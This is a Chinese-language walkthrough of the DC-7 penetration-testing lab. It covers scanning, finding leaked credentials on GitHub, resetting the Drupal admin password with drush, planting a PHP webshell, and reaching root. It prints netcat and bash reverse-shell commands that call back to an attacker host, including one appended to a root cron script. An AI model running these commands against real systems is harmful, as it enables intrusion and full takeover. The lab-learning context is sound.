DC-7
靶機描述
DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
While this isn't an overly technical challenge, it isn't exactly easy.
While it's kind of a logical progression from an earlier DC release (I won't tell you which one), there are some new concepts involved, but you will need to figure those out for yourself. :-) If you need to resort to brute forcing or dictionary attacks, you probably won't succeed.
What you will need to do, is to think "outside" of the box.
Waaaaaay "outside" of the box. :-)
The ultimate goal of this challenge is to get root and to read the one and only flag.
只有一個flag并且提示不用暴力破解
知識點總結
? ①常規端口掃描
? ②信息收集
? ③drush使用
? ④寫入webshell
? ⑤將反彈shell寫入root權限執行的sh腳本
常規掃描
arp-scan -l
目標IP:192.168.2.185
root@kali:~#nmap -sV -p- 192.168.2.185
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
開啟了ssh(22端口),web服務(80端口)
訪問web
CMS是Drupal,并且提示不使用暴力破解
這個CMS和DC-1是一樣的,DC-1是7這個是8
先使用searchsploit搜一下漏洞,測試了幾個都不管用,msf里同樣
然后再回到主頁,發現左下角有個@DC7USER 這讓我想到之前一個朋友借用網上的模板搭建一個網站,并且主頁的下邊也用@表明了模板的來源,然后就順勢找到了模板源碼以及配置,且他的密碼為默認的于是就getshell了
這里我們上網搜索一下DC7USER
可以發現在github上有關于DC7USER的信息,Twitter上也有,查看一下
Twitter上放的也是Github上的鏈接,進入GitHub
這里提示是DC7的一些源碼
查看config.php配置文件
<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
這個像是數據庫的連接賬號密碼,先使用它登錄一下網站
登錄提示無法識別賬號密碼,那說明不是網站的登錄密碼
那我們現在只有剩下的ssh登錄需要密碼了,試一下
ssh可以登錄,并且提示 You have new mail 有個新郵件
查看當前目錄有個backups和mbox,查看mbox
記錄的是一個運行backups.sh的腳本將數據庫備份到website.sql的操作
查看一下腳本的權限
發現www-data可以對此腳本進行操作
那我們就需要通過web獲得shell才能對這個文件進行修改操作
查看一下內容
有個drush和gpg
gpg好像沒什么用,但是搜索drush發現有個更改密碼的操作
#drush描述:dursh是drupal的shell模式,可以執行對drupal的管理命令
drush user-password username --password="passwd" #更改密碼
但是提示
Command user-password needs a higher bootstrap level to run - you will need to invoke drush from a more functional Drupal environment to [error]
run this command.
The drush command 'user-password username' could not be executed.
然后又去看了看drush介紹,知道使用drush命令要在網站根目錄進行,然后進入網站根目錄
成功修改密碼,然后登陸網站
在content中發現可以對網站內容進行修改
那我們直接往里邊寫入一句話木馬
但是這里好像不支持php只有html,查了查需要單獨安裝插件讓它支持php語言
點擊Install new module
將下邊的URL填進去點Install
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
安裝成功后再返回上一個頁面點List
在下邊有個PHP Filter
選中安裝,安裝成功后就可以在網頁寫入php代碼了
回到我們剛剛的編輯頁面
選擇PHP code插入一句話代碼 選擇save
然后訪問http://192.168.2.185/node/1,使用菜刀或者蟻劍進行連接
注意:這里雖然直接訪問主頁http://192.168.2.185/
顯示的內容和上邊那個node/1這個鏈接顯示的內容一樣但其實我們寫的shell并不在這里,我剛開始也是直接用主頁鏈接連的蟻劍連不上,然后在主頁的
這里點進去了edit再返回就會跳轉到http://192.168.2.185/node/1這個頁面,用這個鏈接就可以連上shell
然后我們在蟻劍上將shell反彈回我們的kali上
#kali機
nc -lvp 1234
#蟻劍
nc -e /bin/sh 192.168.2.138 1234
kali切換shell外殼
python -c 'import pty;pty.spawn("/bin/bash")'
現在我們可以對backups.sh文件進行修改了,我們可以把反彈shell寫入sh文件中,因為sh文件是root執行的,所以返回的也是root權限
這里我們采用bash反彈shell
#在kali上監聽1235端口
nc -lvp 1235
#將shell寫入backups.sh中
echo "bash -i >& /dev/tcp/192.168.2.135/1235 0>&1" >> /opt/scripts/backups.sh
由郵件內容中發送的時間可知這個sh文件每隔15分鐘會執行一次,耐心等待一會,獲得shell,并進入root目錄下查看flag
總結
常規流程:
? ①掃描主機,發現目標
? ②掃描目標端口,查看開啟什么服務
? ③從web入口找漏洞,熟悉一些web的漏洞
? ④查看web的CMS以及插件,使用msf或者searchsploit搜索一下已存在的漏洞并利用
? ⑤寫入webshell 反彈給攻擊機
? ⑥提權
總之,安全之路還很長,需要更加努力,學的越多覺得懂的越少。
如有問題,歡迎指正!